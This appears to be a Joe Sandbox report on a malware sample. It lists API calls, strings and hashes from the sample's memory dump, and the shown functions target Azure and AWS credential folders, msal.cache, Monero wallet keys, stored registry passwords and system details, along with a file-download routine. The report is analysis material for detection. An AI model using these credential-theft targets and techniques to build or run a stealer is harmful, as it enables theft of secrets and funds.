Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlen.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: lstrlen.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415932
ERROR, xrefs: 00415849
ERROR, xrefs: 0041577D
ERROR, xrefs: 004159FE
ERROR, xrefs: 00415693
ERROR, xrefs: 00415636

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00414D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 00414DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

lstrcat.KERNEL32(?,00000000), ref: 00414E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

lstrcat.KERNEL32(?,00000000), ref: 00414EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcat.KERNEL32(?,013FF9C8), ref: 00414A4A
Part of subcall function 00414910: lstrcat.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcat.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcat.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcat.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Strings

msal.cache, xrefs: 00414EF0
Azure\.azure, xrefs: 00414DD3
\.azure\, xrefs: 00414DC1
*.*, xrefs: 00414E64
\.aws\, xrefs: 00414E4D
Azure\.aws, xrefs: 00414E5F
*.*, xrefs: 00414DD8
Azure\.IdentityService, xrefs: 00414EEB
\.IdentityService\, xrefs: 00414ED9

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6355ce1577402d6438eb551a4b468c5442359bce1d7013d2eb128d8c5d9d0b0b
Instruction ID: 113d0ea87ba9e3c5b7db121c2f5c40f520c542c55f5629237b319ebba416337b
Opcode Fuzzy Hash: 6355ce1577402d6438eb551a4b468c5442359bce1d7013d2eb128d8c5d9d0b0b
Instruction Fuzzy Hash: A24197BAB4021867D710F7B0EC47FED7338AB64704F404499B545660D2EEB857C98B96

Function 00401310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004012B4
Part of subcall function 004012A0: RtlAllocateHeap.NTDLL(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlen.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,013FE9B8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: e7e8e44f7890f1df111e451543ad5d30a0013978b48653ac94157ee935cd7c25
Instruction ID: 7d5f62cb4a8516094372d4e380adc4ccaa595ea70b0e8515807115108c7b21cf
Opcode Fuzzy Hash: e7e8e44f7890f1df111e451543ad5d30a0013978b48653ac94157ee935cd7c25
Instruction Fuzzy Hash: 9F5185B1D5011897CB15FB61DD92FED733CAF50304F4045ADB20A62092EE385BDACBAA

Function 00417500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
RtlAllocateHeap.NTDLL(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

B, xrefs: 0041764D, 00417655, 0041761B, 00417623
\, xrefs: 00417560
C, xrefs: 0041754C
:, xrefs: 0041755C

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$B
API String ID: 1544550907-183544611
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000), ref: 00407459

lstrcat.KERNEL32(35C0D020,004217FC), ref: 00407606
lstrcat.KERNEL32(35C0D020,00000000), ref: 00407648
lstrcat.KERNEL32(35C0D020, : ), ref: 0040765A
lstrcat.KERNEL32(35C0D020,00000000), ref: 0040768F
lstrcat.KERNEL32(35C0D020,00421804), ref: 004076A0
lstrcat.KERNEL32(35C0D020,00000000), ref: 004076D3
lstrcat.KERNEL32(35C0D020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013FF208,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
RtlAllocateHeap.NTDLL(00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 004060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,013FFA98), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(?,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(?), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
